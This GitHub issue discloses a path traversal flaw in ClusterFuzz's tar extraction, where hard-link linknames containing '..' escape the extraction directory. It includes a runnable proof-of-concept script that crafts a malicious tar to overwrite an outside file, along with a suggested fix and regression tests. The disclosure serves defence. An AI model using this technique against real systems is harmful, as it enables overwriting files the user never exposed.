Skip to content

system/archive.py: tar hard link linknames with '..' can overwrite files outside the extraction directory #5436

Description

@shaggyinsomniac

Summary

TarArchiveReader.extract (src/clusterfuzz/_internal/system/archive.py) validates archive member names against path traversal (_is_attempting_path_traversal), but never validates the linkname of hard link members. A tar containing a hard link whose relative linkname includes .. causes CPython's tarfile to os.link() an existing file outside the extraction directory into it; a subsequent write through that alias (e.g. a regular member that resolves to the same path) overwrites the outside file with attacker-controlled content.

The existing realpath containment check cannot detect this: os.path.realpath does not resolve hard links, so the aliased path still appears to be inside the output directory.

Reproduction (stdlib only)

import io, os, tarfile

os.makedirs("/tmp/poc/out", exist_ok=True)
open("/tmp/poc/victim-file", "w").write("ORIGINAL")

with tarfile.open("/tmp/poc/evil.tar", "w") as tf:
    link = tarfile.TarInfo("innocent.txt")   # clean member name
    link.type = tarfile.LNKTYPE
    link.linkname = "../victim-file"          # relative .. escapes the output dir
    tf.addfile(link)

    data = b"PWNED"
    payload = tarfile.TarInfo("innocent.txt") # same clean name
    payload.size = len(data)
    tf.addfile(payload, io.BytesIO(data))

with tarfile.open("/tmp/poc/evil.tar") as tf:
    for m in tf.getmembers():
        # _is_attempting_path_traversal(archive, out, m.name) -> False for both
        tf.extract(m, "/tmp/poc/out")   # no filter=, as in archive.py

print(open("/tmp/poc/victim-file").read())     # -> PWNED (outside the output dir)

Notes:

  • An absolute linkname does not work (CPython strips the leading / and joins inside the output dir); the escape requires a relative linkname with .. of the correct depth.
  • The member names involved are clean, so the name-based guard passes; only the linkname escapes.
  • Reachable through the untrusted archive upload/unpack flow (TarArchiveReader.extract at archive.py, looped by extract_all from the unpack task).

Suggested fix

Apply the same containment check to the resolved hard-link target that tarfile itself will use (mirroring its absolute-target re-rooting). Implemented in the attached PR, along with regression tests:

  • test_tar_hardlink_traversal — escaping relative linkname is rejected, victim file untouched;
  • test_tar_hardlink_within_directory — legitimate in-archive hard links still extract (archive built with real on-disk hard links so the linkname is in canonical member-rooted form).

An alternative is passing filter="data" to tarfile.extract on Python ≥ 3.12; the guard approach in the PR is version-independent and mirrors the existing check style.

This issue was reported to the Google Bug Hunters team, who classified it as valid but below their security-tracking threshold and explicitly permitted public disclosure.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions